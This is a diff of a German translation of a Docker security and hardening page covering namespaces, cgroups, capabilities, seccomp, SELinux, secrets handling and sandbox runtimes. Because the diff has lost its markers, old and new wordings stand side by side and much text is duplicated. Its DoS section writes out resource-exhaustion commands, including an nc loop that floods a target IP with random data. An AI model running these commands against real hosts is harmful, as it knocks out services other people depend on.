- **Verwendung von `unshare`**: Der Befehl `unshare` (oder der zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies nicht von Natur aus blockiert, tut Docker dies.
|
||||
- **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Namespaces des Hosts zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` zum Einstieg.
|
||||
**Namespaces**
|
||||
|
||||
#### **Control Groups (CGroups)**
|
||||
- **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet.
|
||||
- **Sicherheitsaspekt**: CGroups selbst bieten keine Isolationssicherheit, mit Ausnahme der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte.
|
||||
* **Zweck**: Sicherstellung der Isolierung von Ressourcen wie Prozessen, Netzwerken und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern.
|
||||
* **Verwendung von `unshare`**: Der Befehl `unshare` (oder das zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies grundsätzlich nicht blockiert, tut Docker dies.
|
||||
* **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Host-Namespaces zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` für den Zugriff.
|
||||
|
||||
#### **Capability Drop**
|
||||
- **Bedeutung**: Es handelt sich um eine wichtige Sicherheitsfunktion zur Isolierung von Prozessen.
|
||||
- **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess durch das Ablegen bestimmter Fähigkeiten ausführen kann. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten das Ausführen privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden.
|
||||
**Control Groups (CGroups)**
|
||||
|
||||
* **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet.
|
||||
* **Sicherheitsaspekt**: CGroups bieten an sich keine Isolationssicherheit, außer der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte.
|
||||
|
||||
**Capability Drop**
|
||||
|
||||
* **Bedeutung**: Es ist eine wichtige Sicherheitsfunktion für die Prozessisolierung.
|
||||
* **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess ausführen kann, indem bestimmte Fähigkeiten abgelegt werden. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten die Ausführung privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden.
|
||||
|
||||
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen abgelegt hat:
|
||||
|
||||
|
@ -147,20 +150,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
**Seccomp**
|
||||
|
||||
Es ist standardmäßig in Docker aktiviert. Es hilft, die **Syscalls weiter einzuschränken**, die der Prozess aufrufen kann.\
|
||||
Es ist standardmäßig in Docker aktiviert. Es hilft, die Syscalls, die der Prozess aufrufen kann, noch weiter zu **beschränken**.\
|
||||
Das **Standard-Docker-Seccomp-Profil** finden Sie unter [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Docker hat eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Docker verfügt über eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Dies ermöglicht es, die Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner zu reduzieren...
|
||||
Dies ermöglicht die Reduzierung von Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** sind eine Funktion des Linux-Kernels, die den Kernelressourcen so aufteilen, dass eine Gruppe von **Prozessen** einen Satz von **Ressourcen** sieht, während eine **andere** Gruppe von **Prozessen** einen **anderen** Satz von Ressourcen sieht. Die Funktion funktioniert so, dass für einen Satz von Ressourcen und Prozessen der gleiche Namespace vorhanden ist, aber diese Namespace beziehen sich auf unterschiedliche Ressourcen. Ressourcen können in mehreren Spaces existieren.
|
||||
**Namespaces** sind ein Feature des Linux-Kernels, das **Kernelressourcen partitioniert**, sodass eine Gruppe von **Prozessen** einen Satz von **Ressourcen sieht**, während eine **andere** Gruppe von **Prozessen** einen **anderen** Satz von Ressourcen sieht. Das Feature funktioniert, indem für einen Satz von Ressourcen und Prozessen der gleiche Namespace vorhanden ist, aber diese Namespaces beziehen sich auf unterschiedliche Ressourcen. Ressourcen können in mehreren Bereichen existieren.
|
||||
|
||||
Docker verwendet die folgenden Linux-Kernel-Namespaces, um die Isolierung von Containern zu erreichen:
|
||||
|
||||
|
@ -170,7 +173,7 @@ Docker verwendet die folgenden Linux-Kernel-Namespaces, um die Isolierung von Co
|
|||
* ipc-Namespace
|
||||
* UTS-Namespace
|
||||
|
||||
Für **weitere Informationen zu den Namespaces** siehe die folgende Seite:
|
||||
Für **weitere Informationen zu den Namespaces** besuchen Sie die folgende Seite:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
|
@ -178,12 +181,12 @@ Für **weitere Informationen zu den Namespaces** siehe die folgende Seite:
|
|||
|
||||
### cgroups
|
||||
|
||||
Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO und Netzwerkbandbreite für eine Gruppe von Prozessen einzuschränken. Docker ermöglicht die Erstellung von Containern mit der cgroup-Funktion, die eine Ressourcenkontrolle für den spezifischen Container ermöglicht.\
|
||||
Im Folgenden wird ein Container erstellt, bei dem der Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB, der CPU-Anteil auf 512 und das blkio-Gewicht auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Es hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33% der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000.
|
||||
Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite unter einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung des cgroup-Features, das eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
|
||||
Im Folgenden wird ein Container erstellt, dessen Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB begrenzt ist, der CPU-Anteil auf 512, und das Blkioweight auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und liegt zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33 % der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und liegt zwischen 10 und 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
Um den cgroup eines Containers zu erhalten, können Sie Folgendes tun:
|
||||
Um die cgroup eines Containers zu erhalten, können Sie Folgendes tun:
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
|
@ -197,9 +200,9 @@ Für weitere Informationen siehe:
|
|||
|
||||
### Berechtigungen
|
||||
|
||||
Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Fähigkeiten-Feature, um die Operationen, die innerhalb eines Containers durchgeführt werden können, unabhängig von der Art des Benutzers, einzuschränken.
|
||||
Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Berechtigungsmerkmal, um die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können, unabhängig vom Typ des Benutzers.
|
||||
|
||||
Wenn ein Docker-Container ausgeführt wird, werden die sensiblen Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen, verworfen. Dadurch wird sichergestellt, dass der Prozess keine sensiblen Aktionen durchführen und ausbrechen kann:
|
||||
Wenn ein Docker-Container ausgeführt wird, verwirft der Prozess sensible Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen. Dies soll sicherstellen, dass der Prozess keine sensiblen Aktionen ausführen und ausbrechen kann:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -207,7 +210,7 @@ Wenn ein Docker-Container ausgeführt wird, werden die sensiblen Berechtigungen,
|
|||
|
||||
### Seccomp in Docker
|
||||
|
||||
Dies ist eine Sicherheitsfunktion, die Docker ermöglicht, die Systemaufrufe einzuschränken, die innerhalb des Containers verwendet werden können:
|
||||
Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, die Systemaufrufe zu begrenzen, die innerhalb des Containers verwendet werden können:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -215,7 +218,7 @@ Dies ist eine Sicherheitsfunktion, die Docker ermöglicht, die Systemaufrufe ein
|
|||
|
||||
### AppArmor in Docker
|
||||
|
||||
AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von Ressourcen mit pro-Programm-Profilen einzuschränken:
|
||||
AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von Ressourcen mit pro-Programmprofilen zu beschränken:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -223,13 +226,13 @@ AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von
|
|||
|
||||
### SELinux in Docker
|
||||
|
||||
- **Labeling-System**: SELinux weist jedem Prozess und jedem Dateisystemobjekt ein eindeutiges Label zu.
|
||||
- **Policy Enforcement**: Es setzt Sicherheitsrichtlinien durch, die festlegen, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann.
|
||||
- **Container-Prozess-Labels**: Wenn Container-Engines Container-Prozesse starten, erhalten sie in der Regel ein eingeschränktes SELinux-Label, üblicherweise `container_t`.
|
||||
- **Datei-Labeling innerhalb von Containern**: Dateien innerhalb des Containers werden normalerweise als `container_file_t` gekennzeichnet.
|
||||
- **Richtlinienregeln**: Die SELinux-Richtlinie stellt in erster Linie sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind.
|
||||
* **Beschriftungssystem**: SELinux weist jedem Prozess und Dateisystemobjekt ein eindeutiges Label zu.
|
||||
* **Richtliniendurchsetzung**: Es setzt Sicherheitsrichtlinien durch, die definieren, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann.
|
||||
* **Container-Prozesslabels**: Wenn Container-Engines Containerprozesse initiieren, werden ihnen in der Regel eingeschränkte SELinux-Labels zugewiesen, üblicherweise `container_t`.
|
||||
* **Dateibeschriftung innerhalb von Containern**: Dateien innerhalb des Containers sind normalerweise als `container_file_t` gekennzeichnet.
|
||||
* **Richtlinienregeln**: Die SELinux-Richtlinie stellt hauptsächlich sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind.
|
||||
|
||||
Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert ist, er nur mit Objekten interagieren kann, die die entsprechenden Labels haben, und begrenzt somit den potenziellen Schaden solcher Kompromittierungen erheblich.
|
||||
Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert ist, er nur mit Objekten interagieren kann, die über die entsprechenden Labels verfügen, was das potenzielle Schadensausmaß solcher Kompromittierungen erheblich einschränkt.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -237,12 +240,12 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es darüber entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen:
|
||||
In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden sollen. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen:
|
||||
|
||||
- **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben.
|
||||
- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen.
|
||||
* **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben.
|
||||
* **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen.
|
||||
|
||||
Diese Kontexte gewährleisten, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
|
||||
Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -250,7 +253,7 @@ Diese Kontexte gewährleisten, dass nur legitime Anfragen von authentifizierten
|
|||
|
||||
## DoS aus einem Container
|
||||
|
||||
Wenn Sie die Ressourcen, die ein Container verwenden kann, nicht ordnungsgemäß begrenzen, kann ein kompromittierter Container den Host, auf dem er ausgeführt wird, DoS (Denial of Service) verursachen.
|
||||
Wenn Sie die Ressourcen, die ein Container verwenden kann, nicht ordnungsgemäß begrenzen, könnte ein kompromittierter Container den Host, auf dem er läuft, DoS-angreifen.
|
||||
|
||||
* CPU-DoS
|
||||
```bash
|
||||
|
@ -260,21 +263,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
|||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
*Bandbreiten-DoS*
|
||||
|
||||
Ein Bandbreiten-DoS (Denial-of-Service) ist eine Art von Angriff, bei dem ein Angreifer versucht, die verfügbare Bandbreite eines Netzwerks oder einer bestimmten Verbindung zu überlasten, um den normalen Datenverkehr zu blockieren oder zu verlangsamen. Dies kann durch das Senden einer großen Anzahl von Datenpaketen oder das Ausnutzen von Schwachstellen in der Netzwerkinfrastruktur erreicht werden.
|
||||
|
||||
Ein Bandbreiten-DoS-Angriff kann schwerwiegende Auswirkungen haben, da er dazu führen kann, dass legitimer Datenverkehr nicht mehr durchkommt und Dienste oder Systeme nicht mehr erreichbar sind. Um sich vor einem solchen Angriff zu schützen, sollten Netzwerkadministratoren geeignete Sicherheitsmaßnahmen ergreifen, wie z.B. die Überwachung des Netzwerkverkehrs, die Begrenzung der Bandbreite für bestimmte Verbindungen und die Implementierung von Firewalls und Intrusion Detection Systemen.
|
||||
|
||||
Es ist auch wichtig, regelmäßig Sicherheitsupdates für die Netzwerkinfrastruktur durchzuführen, um bekannte Schwachstellen zu beheben und potenzielle Angriffsvektoren zu minimieren. Darüber hinaus können Netzwerkadministratoren den Datenverkehr überwachen und verdächtige Aktivitäten erkennen, um schnell auf einen Bandbreiten-DoS-Angriff reagieren zu können.
|
||||
* Bandbreiten-DoS
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Interessante Docker-Flags
|
||||
|
||||
### --privileged-Flag
|
||||
### --privileged Flag
|
||||
|
||||
Auf der folgenden Seite können Sie erfahren, **was das `--privileged`-Flag bedeutet**:
|
||||
Auf der folgenden Seite können Sie lernen, **was das `--privileged`-Flag bedeutet**:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
|
@ -284,9 +281,9 @@ Auf der folgenden Seite können Sie erfahren, **was das `--privileged`-Flag bede
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Privilegien erhält. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **Privilegien innerhalb** des Containers eskalieren. Dadurch kann er möglicherweise daraus entkommen.
|
||||
Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Berechtigungen erhält. Wenn Sie eine **falsch konfigurierte suid-Binärdatei** haben, kann der Angreifer sie missbrauchen und **Berechtigungen innerhalb** des Containers **eskaliert**, was es ihm ermöglichen könnte, daraus zu entkommen.
|
||||
|
||||
Das Ausführen des Containers mit der aktivierten Option **`no-new-privileges`** wird **diese Art der Privilegieneskalation verhindern**.
|
||||
Das Ausführen des Containers mit der Option **`no-new-privileges`** aktiviert verhindert diese Art von Berechtigungserweiterung.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -305,29 +302,29 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Für weitere **`--security-opt`**-Optionen siehe: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
Für weitere **`--security-opt`** Optionen siehe: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Weitere Sicherheitsüberlegungen
|
||||
|
||||
### Verwaltung von Geheimnissen: Best Practices
|
||||
|
||||
Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden sensible Informationen für jeden freigeben, der über Befehle wie `docker inspect` oder `exec` auf den Container zugreifen kann.
|
||||
Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden freigeben, der über Befehle wie `docker inspect` oder `exec` Zugriff auf den Container hat.
|
||||
|
||||
**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken von `docker inspect` und Logging zu verringern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen.
|
||||
**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken im Zusammenhang mit `docker inspect` und Logging zu mindern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen.
|
||||
|
||||
**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse benötigt werden, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Build-Zeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bieten.
|
||||
**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse erforderlich sind, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Buildzeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bereitstellen.
|
||||
|
||||
Um BuildKit zu nutzen, kann es auf drei Arten aktiviert werden:
|
||||
|
||||
1. Über eine Umgebungsvariable: `export DOCKER_BUILDKIT=1`
|
||||
2. Durch Voranstellen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Durch Aktivieren als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker.
|
||||
3. Durch die Aktivierung als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker.
|
||||
|
||||
BuildKit ermöglicht die Verwendung von Build-Zeit-Geheimnissen mit der `--secret`-Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind. Verwenden Sie dazu einen Befehl wie:
|
||||
BuildKit ermöglicht die Verwendung von Buildzeit-Geheimnissen mit der `--secret` Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind, unter Verwendung eines Befehls wie:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Für in einem laufenden Container benötigte Geheimnisse bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition, um geheime Dateien anzugeben, wie im folgenden Beispiel einer `docker-compose.yml`-Datei gezeigt:
|
||||
Für benötigte Geheimnisse in einem laufenden Container bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition zur Angabe von Geheimdateien, wie im folgenden Beispiel einer `docker-compose.yml` gezeigt:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -342,48 +339,48 @@ file: ./my_secret_file.txt
|
|||
```
|
||||
Diese Konfiguration ermöglicht die Verwendung von Secrets beim Starten von Diensten mit Docker Compose.
|
||||
|
||||
In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools wie [Helm-Secrets](https://github.com/futuresimple/helm-secrets) weiter verwaltet werden. Die Role Based Access Controls (RBAC) von Kubernetes verbessern die Sicherheit der Secret-Verwaltung, ähnlich wie bei Docker Enterprise.
|
||||
In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools wie [Helm-Secrets](https://github.com/futuresimple/helm-secrets) weiter verwaltet werden. Die rollenbasierte Zugriffskontrolle (RBAC) von Kubernetes verbessert die Sicherheit des Secret-Managements, ähnlich wie bei Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Er enthält eine [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitumgebung namens `runsc`, die eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeitumgebung integriert sich nahtlos mit Docker und Kubernetes, sodass es einfach ist, Sandbox-Container auszuführen.
|
||||
**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Es enthält einen [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitnamens `runsc`, der eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeit integriert sich mit Docker und Kubernetes und macht es einfach, Sandbox-Container auszuführen.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Laufzeitumgebung mit leichten virtuellen Maschinen zu entwickeln, die sich wie Container anfühlen und verhalten, aber durch die Verwendung von Hardware-Virtualisierungstechnologie eine **stärkere Workload-Isolierung** als zweite Verteidigungsebene bieten.
|
||||
**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Laufzeitumgebung mit leichten virtuellen Maschinen zu erstellen, die sich wie Container anfühlen und verhalten, aber eine **stärkere Workload-Isolierung unter Verwendung der Hardware-Virtualisierung** als zweite Verteidigungsebene bieten.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Zusammenfassung und Tipps
|
||||
### Zusammenfassung der Tipps
|
||||
|
||||
* Verwenden Sie nicht die `--privileged`-Flagge oder mounten Sie nicht einen [Docker-Socket innerhalb des Containers](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu erlangen, z.B. durch das Ausführen eines anderen Containers mit der `--privileged`-Flagge.
|
||||
* Führen Sie im Container nicht als Root aus. Verwenden Sie einen [anderen Benutzer](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) und [Benutzernamensräume](https://docs.docker.com/engine/security/userns-remap/). Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeleitet. Er ist nur leicht eingeschränkt durch Linux-Namespaces, Fähigkeiten und cgroups.
|
||||
* [Deaktivieren Sie alle Fähigkeiten](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die benötigt werden (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von Fähigkeiten erhöht den Umfang eines potenziellen Angriffs.
|
||||
* Verwenden Sie die Sicherheitsoption "no-new-privileges", um zu verhindern, dass Prozesse weitere Privilegien erlangen, z.B. durch suid-Binärdateien.
|
||||
* Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen.
|
||||
* Passen Sie die Profile von [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (oder SELinux) an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das Minimum zu beschränken.
|
||||
* Verwenden Sie offizielle Docker-Images und verlangen Sie Signaturen oder erstellen Sie eigene Images basierend auf ihnen. Vererben oder verwenden Sie keine [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)-Images. Speichern Sie auch Root-Schlüssel und Passphrase an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten.
|
||||
* Erstellen Sie regelmäßig Ihre Images neu, um Sicherheitspatches auf den Host und die Images anzuwenden.
|
||||
* Verwalten Sie Ihre Secrets sorgfältig, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
|
||||
* Verwenden Sie nicht das `--privileged`-Flag oder binden Sie einen **Docker-Socket innerhalb des Containers** ein. Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu übernehmen, beispielsweise durch Ausführen eines anderen Containers mit dem `--privileged`-Flag.
|
||||
* Führen Sie nicht als Root innerhalb des Containers aus. Verwenden Sie einen **anderen Benutzer** und **Benutzernamensräume**. Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen neu zugeordnet. Er wird nur leicht durch hauptsächlich Linux-Namespaces, Fähigkeiten und cgroups eingeschränkt.
|
||||
* **Verwerfen Sie alle Fähigkeiten** (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die erforderlich sind (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von ihnen erhöht den Umfang eines potenziellen Angriffs.
|
||||
* Verwenden Sie die Sicherheitsoption **"no-new-privileges"**, um zu verhindern, dass Prozesse mehr Berechtigungen erlangen, beispielsweise durch suid-Binärdateien.
|
||||
* **Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen.
|
||||
* Passen Sie die **seccomp**, **AppArmor** (oder SELinux)-Profile an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das erforderliche Minimum zu beschränken.
|
||||
* Verwenden Sie **offizielle Docker-Images** und verlangen Sie Signaturen oder erstellen Sie Ihre eigenen darauf basierend. Vererben oder verwenden Sie keine mit Hintertüren versehenen Images. Speichern Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten.
|
||||
* **Erstellen Sie regelmäßig** Ihre Images neu, um **Sicherheitspatches auf dem Host und den Images anzuwenden**.
|
||||
* Verwalten Sie Ihre **Secrets klug**, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
|
||||
* Wenn Sie den Docker-Daemon freigeben, verwenden Sie HTTPS mit Client- und Serverauthentifizierung.
|
||||
